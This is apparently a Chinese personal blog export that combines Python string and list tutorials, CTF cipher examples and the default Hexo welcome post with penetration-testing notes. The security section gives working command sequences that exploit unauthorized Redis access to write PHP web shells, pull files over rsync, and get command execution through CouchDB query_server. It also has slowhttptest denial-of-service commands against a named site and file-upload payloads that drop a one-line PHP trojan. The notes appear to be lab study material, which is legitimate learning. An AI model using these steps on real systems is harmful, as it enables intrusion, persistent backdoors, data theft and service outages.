cat
python string 基本操作

一.基本操作

1.获取字符串长度
u = "www.google.com" 
print(len(u))
'''
14
'''
2.反转字符串
[1]字符串操作
str1='gooGle'
print(str1[::-1])
'''
elGoog
'''
[2]string–>list–>string [string join() 结合 list reverse()]
str1='gooGle'
list1=list(str1)
list1.reverse()
newstring= "".join(list1)
print(newstring)
'''
elGoog
'''
[3]str->list->str [string join() 结合 list s[::-1]取反
str1='gooGle'
list1=list(str1)
newstring= "".join(list1[::-1])
print(newstring)
'''
elGoog
'''
[4]reduce()
from functools import reduce
str1='gooGle'
result = reduce(lambda x,y:y+x,str1)
print(result)
'''
elGoog
'''
[5]栈
str1='gooGle'
l = list(str1) #模拟入栈
result = ""
while len(l)>0:
    result += l.pop() #模拟出栈
print(result)
'''
elGoog
'''
3.切片split()返回定义的变量
u = "www.google.com" 
u1,u2,u3 = u.split('.') 
print(u1)
print(u2)
print(u3)
'''
www
google
com
'''
4.切片split()返回list[不改变原string]
u='www.google.com'
l=u.split('.')
print(u)
print(l)
'''
www.google.com
['www', 'google', 'com']
'''
5.Python ASCII码与字符相互转换
#字符转ascii
u='A'
print(ord(u))
#ascii转字符
asc=65
print(chr(asc))
'''
65
A
'''
6.字符串大小写转换
str1='CXy'
print(str1.lower())
str1='gooGle'
print(str1.upper())
'''
cxy
GOOGLE
'''
7.判断字符串元素是否是数字,字母,数字或字母组合
str_1 = "123"
str_2 = "Abc"
str_3 = "123Abc"
print(str_1.isdigit()) #全为数字
print(str_2.isalpha()) #全为字母
print(str_3.isalnum()) #为字母或数字
'''
True
True
True
'''

二.新建string

三.删除string

1.string 去掉标点符号及空格
string = "Special $#! characters   spaces 888323"
a= ''.join(e for e in string if e.isalnum())
print(a)
'''
Specialcharactersspaces888323
'''

四.修改string

1.string repalce(old,new,max)lod替换为new,替换max个,不改变原string
u='google.gg'
result=u.replace('g','zn',3)
print(u)
print(result)
'''
google.gg
znooznle.zng
'''

五.在string中查找

1.string find(),index()返回第一个匹配项的索引 [若不存在匹配项,find()返回-1,index()会抛出异常]
u = "google"
print(u.find('g'))
print(u.index('g'))
print(u.find('z'))  #-1
# print(u.index('z')) #报错
#从字符串的末尾开始查找
print(u.rfind('g'))
print(u.rindex('g'))
print(u.rfind('z'))
# print(u.rindex('z'))#报错
'''
0
0
-1
3
3
-1
'''
2.string find()返回所有匹配项的索引组成的list
u = "www.google.com"
findelement='.'
a=[]
result=u.find(findelement,0)
print(result)
while result !=-1:
    a.append(result)
    result=u.find(findelement,result+1)
print(a)
'''
3
[3, 10]
'''
3.
sql语句

一.增

二.删除

三.改

四.查

1.条件查询(字符串加’’,数字不加)

SELECT 列名称 FROM 表名称 WHERE 列 运算符 值
@example:
SELECT name,population,area  FROM World WHERE area > 3000000 OR Population > 25000000

2.

python list 基本操作

一. 获取list属性

1.获取list长度

list=[1,2,3]
len(list)  
# 3

2.遍历list

1. for…in 遍历list中所有元素(i是list元素value)
list=[1,2,3]
for i in list:
    print(i)
'''
1
2
3
'''
2.in range()(i是索引index)
list=[1,2,3]
for i in range(len(list)):
    print(i,list[i])
for x in range(1,len(list)):
    print(x,list[x])
'''
0 1
1 2
2 3
第二个输出
1 2
2 3
'''
3. for…in emenumerate()
list=[3,6,8]
for index,value in enumerate(list):
    print(index,value)

3. list顺序去重逆序

1.list sort()正序排序(会改变原来的list)
list=[3,6,1,2,9,2]
list.sort()
print(list)
# [1, 2, 2, 3, 6, 9]
2.list reverse()逆序(会改变原来的list)
l = [1,2,5,4]
l.reverse()
print(l)
# [4, 5, 2, 1]
3.list[::-1]操作实现逆序
l = [1,2,3,3,4]
print(l[::-1])
# [4, 3, 3, 2, 1]
4.list set()去重是无序的(不改变原list)
l=[2,5,7,7,3,2]
a = list(set(l))
print(set(l))
print(a)
'''
{2, 3, 5, 7}
[2, 3, 5, 7]
'''
5. list set()按原list顺序去重
l=[2,5,7,7,3,2]
print(set(l))
a = list(set(l))
a.sort(key=l.index)
print(a)
'''
{2, 3, 5, 7}
[2, 5, 7, 3]
'''
6. 新建list,判断是否在新list中,若没有则插入 (原list不变,新list不改变原来的顺序)
l = [1,2,3,3,4,2,3,4,5,6,1]
news_l = []
for id in l:
    if id not in news_l:
        news_l.append(id)
print (news_l)
# [1, 2, 3, 4, 5, 6]
7. 求list的所有子集
nums=[1,2,3]
output = [[]]
for i in range(len(nums)):
    for j in range(len(output)):
        output.append(output[j]+[nums[i]])            
print(output)
'''
[[], [1], [2], [1, 2], [3], [1, 3], [2, 3], [1, 2, 3]]
'''

二. 删除list中元素

1.删除list中重复元素

1. set()
list=[1,2,3,3,2,1]
print(set(list) )
# {1, 2, 3}
2. {}.fromkeys().keys()
list=[1,2,3,3,2,1]
newlist={}.fromkeys(list).keys()
print(newlist)
# dict_keys([1, 2, 3])
3. set()+sort()
l=[1,2,3,3,2,1]
newlist=list(set(l))
newlist.sort(key=l.index)
print(newlist)
# [1, 2, 3]
4. 迭代
l=[1,2,3,3,2,1]
newlist=[]
for i in l:
    if not i in newlist:
        newlist.append(i)
print(newlist)
# [1, 2, 3]
5. sort()排序后删除重复的(原list改变)
l=[1,2,3,3,2,1]
l.sort()
last=l[-1]
for i in range(len(l)-2,-1,-1):
    if l[i]==last:
        l.remove(l[i])
    else:
        last=l[i]
print(l)
# [1, 2, 3]
6. sorted()排序,返回无重复数的新list,不改变原list
l=['c','a','b']
t=('b','c','a')
print(sorted(l))
print(sorted(t))
'''
['a', 'b', 'c']
['a', 'b', 'c']
'''

三.修改list中元素

1.批量修改list中元素
l = [1,2,3,3,4]
dict={1:-1,2:-2,3:-3}
rep=[dict[x] if x in dict else x for x in l]
print(rep)
# [-1, -2, -3, -3, 4]

四.新增list和元素

1. list append()(新建了一个list追加)
#筛选出l中的偶数
l = [1,2,3,3,4,2,3,4,5,6,1]
a=[]
for value in  l:
    if value%2==0:
        a.append(value)
    else:
        continue
print(a)
#[2, 4, 2, 4, 6]
2.list insert(index,value)
#筛选出l中的偶数
l = [1,2,3,3,4,2,3,4,5,6,1]
a=[]
for value in  l:
    if value%2==0:
        a.insert(0,value)
    else:
        continue
print(a)
#[6, 4, 2, 4, 2]
3.list extend()在一个list后面追加另一个list(在已存在的列表中添加新的列表内容)
aList = [123, 'xyz', 'zara', 'abc']
bList = [2009, 'manni']
aList.extend(bList)
print(aList)
'''
[123, 'xyz', 'zara', 'abc', 2009, 'manni']
'''

五.查找

1.查某一元素出现次数 count()
l=[111,'abc','cba',111,'abc',111]
print(l.count(111))
'''
3
'''
2.查找某一元素,返回第一个符合元素所在位置 index()
l=[111,'abc','cba',111,'abc',111]
print(l.index(111))
print(l.index('abc'))
'''
0
1
'''

六.list 与其他类型转化

1.两个list组成一个dict
a = ['a1','a2','a3','a4']
b = ['b1','b2','b3']
d = zip(a,b)
print(dict(d)) 
'''
{'a1': 'b1', 'a2': 'b2', 'a3': 'b3'}
''''
2.dict key,value 分别转为一个list
dit = {'name':'zxf',
    'age':'22',
    'gender':'male',
    'address':'dalian'}
lst1 = list(dit)
lst2 = list(dit.values())
print(lst1)
print(lst2)
'''
['name', 'age', 'gender', 'address']
['zxf', '22', 'male', 'dalian']
'''

七.其他操作

1.转置矩阵
@plan A:
A=[[1,2,3],[4,5,6]]
new =[[0]*len(A) for j in range(len(A[0]))]
for i,v1 in enumerate(A):
    for j,v2 in enumerate(A[i]):
        new[j][i]=v2  
print(new)
'''
[[1, 4], [2, 5], [3, 6]]
'''
2.zip()实现转置数组
A=[[1,2,3],[4,5,6]]
new=list(zip(*A))
print(new)
'''
[(1, 4), (2, 5), (3, 6)]
'''
3.zip()接受2个及以上参数
a = [1,2,3]
b = [4,5,6]
c = [7,8,9]
res=list(zip(a,b,c))
print(res)
'''
[(1, 4, 7), (2, 5, 8), (3, 6, 9)]
'''
CTF加密

1.莫尔斯电码(摩斯密码)

密文形式:-… -.- -.-. - ..-. – .. … -.-.

http://ctf.ssleye.com/morse.html

2.栅栏密码

密文形式:KYsd3js2E{a2jda}

http://ctf.ssleye.com/railfence.html

3.Ook加密

密文形式1:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
密文形式2:….. ….. ….. ….. !?!!. ?…. ….. ….. ….. .?.?! .?… .!…….. ….. !.?.. ….. !?!!. ?!!!! !!?.? !.?!! !!!.. ….. ….. .!.?…… …!? !!.?. ….. ..?.? !.?.. ….. .!.?. ….. ….. !?!!. ?!!!!!!!!! !?.?! .?!.? ….. ….! ?!!.? ….. …?. ?!.?. ….. !.?.. …..!?!!. ?!!!! !!?.? !.?!! !!!!! !!!!. ….. …!. ?…. …!? !!.?. …..?.?!. ?..!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? …….!?! !.?.. ….? .?!.? ….! .!!!. !!!!! !!!!! !!!!! !!.?. ….. .!?!!.?… …?. ?!.?. ….. !.!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?!.?… ….. !.?.

https://www.splitbrain.org/services/ook

4.brainfuck加密

密文形式:+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->– -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< +++[- >—< ]>— .—- .<+++ ++++[ ->— —-<]>— —– —– .<+++ ++++[ ->+++ ++++< ]>+++ ++.<+ +++++ +[->- ——<]>. <++++ ++++[ ->+++ +++++ <]>++ .<+++ [->– -<]>- —-. <++++ +++[->—- —<] >—- —-. +++++ +..++ +++.+ .<+++ [->– -<]>- –.<+ ++++++[->+ +++++ +<]>+ ++.++ +.+++ +++++ +.— -.+++ ++.<+ ++[-> +++<] >++++++.<

https://www.splitbrain.org/services/ook

5.凯撒密码

密文形式:MSW{byly_Cm_sIol_lYqUlx_yhdIs_Cn_Wuymul_il_wuff_bcg_pCwnIl_cm_u_Yrwyffyhn_guh_cz_sio_quhn_ni_ayn_bcm_chzilguncihm_sio_wuh_dich_om}

http://www.nicetool.net/app/caesar_decrypt.html

6.base64编码

编码形式:ZmxhZ3tidWdrdX0=

火狐插件hackbar

7.brainfuck编码

编码形式:++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.——.——–.>+.>.

https://www.splitbrain.org/services/ook

8.杰斐逊轮加密

密文形式:
1: <ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2: <KPBELNACZDTRXMJQOYHGVSFUWI <
3: <BDMAIZVRNSJUWFHTEQGYXPLOCK <
4: <RPLNDVHGFCUKTEBSXQYIZMJWAO <
5: <IHFRLABEUOTSGJVDKCPMNZQWXY <
6: <AMKGHIWPNYCJBFZDRUSLOQXVET <
7: <GWTHSPYBXIZULVKMRAFDCEONJQ <
8: <NOZUTWDCVRJLXKISEFAPMYGHBQ <
9: <QWATDSRFHENYVUBMCOIKZGJXPL <
10:<WABMCXPLTDSRJQZGOIKFHENYVU <
11:<XPLTDAOIKFZGHENYSRUBMCQWVJ <
12:<TDSWAYXPLVUBOIKZGJRFHENMCQ <
13:<BMCSRFHLTDENQWAOXPYVUIKZGJ <
14:<XPHKZGJTDSENYVUBMLAOIRFCQW <
密钥: 2,5,1,3,6,4,9,7,8,14,10,13,11,12
密文:HCBTSXWCRQGLES
解密方法:密钥代表解密后的行号顺序,密文为对应顺序的第一个字母
tupian1

tupian2
解密结果:
HGVSFUWIKPBELNACZDTRXMJQOY
CPMNZQWXYIHFRLABEUOTSGJVDK
BVIQHKYPNTCRMOSFEZWAXJGDLU
TEQGYXPLOCKBDMAIZVRNSJUWFH
SLOQXVETAMKGHIWPNYCJBFZDRU
XQYIZMJWAORPLNDVHGFCUKTEBS
WATDSRFHENYVUBMCOIKZGJXPLQ
CEONJQGWTHSPYBXIZULVKMRAFD
RJLXKISEFAPMYGHBQNOZUTWDCV
QWXPHKZGJTDSENYVUBMLAOIRFC
GOIKFHENYVUWABMCXPLTDSRJQZ
LTDENQWAOXPYVUIKZGJBMCSRFH
ENYSRUBMCQWVJXPLTDAOIKFZGH
SWAYXPLVUBOIKZGJRFHENMCQTD
某一列为flag
例如:xsxsbugkuadmin

9.base91编码

编码形式:@iH<,{bdR2H;i6*Tm,Wx2izpx2!

http://ctf.ssleye.com/base91.html

10.十六进制转ACSII码

16进制形式:636A56355279427363446C4A49454A7154534230526D684356445A31614342354E326C4B4946467A5769426961453067

http://www.ab126.com/goju/1711.html

11.十六进制转字符串

16进制形式:666c61677b616537333538376261353662616566357d

http://ctf.ssleye.com/hex.html

12.核心价值观编码

编码形式:公正公正公正诚信文明公正民主公正法治法治友善平等和谐敬业和谐富强和谐富强和谐文明和谐平等公正公正和谐法治公正公正公正文明和谐民主和谐敬业和谐平等和谐敬业和谐敬业和谐和谐和谐公正法治友善法治

http://ctf.ssleye.com/cvencode.html

13.标准银河字母

形式:
tupian3
对照表:
tupian4

常用工具命令

1.检测CSRF漏洞:—NMAP

nmap -p80 --script http-csrf.nse "url(二级)【例如:www.baidu.com】"

2.cookie未设置httponly标识—httpRequester

cookie 设置 httpOnly属性防止js读取cookie.

3.慢HTTP dos攻击—httpslowtest【看绿色线掉下来之后不上升或间隔大为有此漏洞】

  • 安装httpslowtest
    kali#apt-get install slowhttptest
    
  • 使用httpslowtest~查询结果要在goole里翻墙看
    graph版
    slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.daliandpf.org.cn -x 10 -p 3  
    
    常用
    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://www.daliandpf.org.cn -x 24 -p 3 
    

4.端口信息—NAMP

常用命令:
* nmap -A ip -v                //详细查看该IP全部端口信息,扫描过程显示
* nmap -p 80 www.baidu.com –script=sql.injection.nse    //扫描sql注射
* nmap -p 80 198.169.1.2          //扫描指定端口                   

5. X-Frame-Options头缺失—burp

X-Frame-Options 有三个值:

* DENY
  表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
* SAMEORIGIN
  表示该页面可以在相同域名页面的 frame 中展示。
* ALLOW-FROM uri
  表示该页面可以在指定来源的 frame 中展示。  

6. 检测心脏出血openssl

nmap -sV -p 443 –script=ssl-heartbleed 192.168.197.128
redis未授权访问

方法一:【推荐】

root@kali:~/redis-4.0.11# apt-get install redis
root@kali:~# redis-cli 
root@kali:~# redis-cli -h 219.153.49.228 -p 44483
219.153.49.228:44483> info

tupian1 //有问题

219.153.49.228:44483> keys *
(empty list or set)
219.153.49.228:44483> CONFIG SET dir /var/www/html/
OK
219.153.49.228:44483> set shell "<?php @eval($_POST['margin']);?>"
OK
219.153.49.228:44483> CONFIG SET dbfilename shell.php
OK
219.153.49.228:44483> save
OK
菜刀连接http://219.153.49.228:46421/shell.php

方法二

ip:219.153.49.228
1.一个界面安装运行
$ wget http://download.redis.io/releases/redis-4.0.11.tar.gz
$ tar xzf redis-4.0.11.tar.gz
$ cd redis-4.0.11
$ make
$ src/redis-server
$ src/redis-cli
redis> set foo bar
OK
redis> get foo
"bar"
2.另开一个页面连接
root@kali:~/redis-4.0.11# cd redis-4.0.11
root@kali:~/redis-4.0.11# src/redis-cli -h 219.153.49.228 -p 49053//web
root@kali:~/redis-4.0.11# src/redis-cli -h 219.153.49.228 -p 42267
219.153.49.228:42267> info
219.153.49.228:42267> CONFIG SET dir /var/www/html/
OK
219.153.49.228:42267> set shell "<?php echo system($_REQUEST[cmd])?>"
OK
219.153.49.228:42267> CONFIG SET dbfilename shell.php
OK
219.153.49.228:42267> save
OK

菜刀连接:http://219.153.49.228:49053/shell.php

rsync未授权访问
1.连接:
root@kali:~# rsync -vvvv rsync://219.153.49.228:47035/ 
2.查看volume下文件
root@kali:~# rsync -vvvv rsync://219.153.49.228:47035/volume
3.下载cat key_32158476426747.php到root下
root@kali:~# rsync -avz rsync://219.153.49.228:47035/volume/key_32158476426747.php /root
4.查看cat key_32158476426747.php内容
root@kali:~# cat key_32158476426747.php
CouchDB未授权访问

ip:219.153.49.228 端口:49489(apache服务端口) 44267

1.新增query_server配置,这里执行ifconfig命令
curl -X PUT 'http://219.153.49.228:44267/_config/query_servers/cmd' -d '"/sbin/ifconfig >/var/www/html/a"'【要打两遍】
2.新建一个临时表,插入一条记录
curl -X PUT 'http://219.153.49.228:44267/vultest'
curl -X PUT 'http://219.153.49.228:44267/vultest/vul' -d '{"_id":"25ea803643bfdf11a87f851d0f8cea83"}'    
3.调用query_server处理数据
curl -X PUT 'http://219.153.49.228:44267/vultest'
curl -X PUT 'http://219.153.49.228:44267/vultest/vul' -d '{"_id":"25ea803643bfdf11a87f851d0f8cea83"}'
4. 看是否能够成功回显出ifconfig内容,图片中成功回显

tupian1

5. 查看ls和cat命令路径
root@kali:~# which ls
/bin/ls
root@kali:~# which cat
/bin/cat
6.查看目录
curl -X PUT 'http://219.153.49.228:44267/_config/query_servers/cmd' -d '"/bin/ls >/var/www/html/a"'【要打两遍】
curl -X POST 'http://219.153.49.228:44267/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'【执行】

tupian2

7.查看key.php内容
curl -X PUT 'http://219.153.49.228:44267/_config/query_servers/cmd' -d '"/bin/cat  key.php>/var/www/html/a"'【要打两遍】
curl -X POST 'http://219.153.49.228:44267/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'【执行】

tupian3

文件上传漏洞总结

IIS 解析漏洞


IIS 5.x/6.0 解析漏洞

1. 目录解析
/xx.asp/xx.jpg
2. 文件解析
xx.asp;.jpg

IIS 7.0/IIS7.5/Nginx <8.03畸形解析漏洞

1. 畸形解析实例—–上传X.jpg,内容为
1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

访问x.jpg/.php ,该目录下会生成1.php一句话木马

Nginx 解析漏洞


Nginx 0.5. ,0.6. , 0.7 - 0.7.65, 0.8 - 0.8.37

1. 图片中嵌入PHP代码,然后访问
x.jpg%00.php

可以执行PHP代码

Apache 解析漏洞


Apache解析顺序是从右到左,识别不可解析则向左判断

测试时可以尝试上传一个x.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment